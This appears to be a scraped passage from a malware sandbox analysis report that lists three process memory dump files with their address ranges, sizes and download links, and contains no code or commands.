                                                                                                                                • memory/5848-433-0x000001A3F4C10000-0x000001A3F4C12000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  8KB

                                                                                                                                  Download

                                                                                                                                • memory/5848-480-0x000001A3F4C12000-0x000001A3F4C14000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  8KB

                                                                                                                                  Download

                                                                                                                                • memory/5908-499-0x0000000005340000-0x0000000005946000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  6.0MB

                                                                                                                                  Download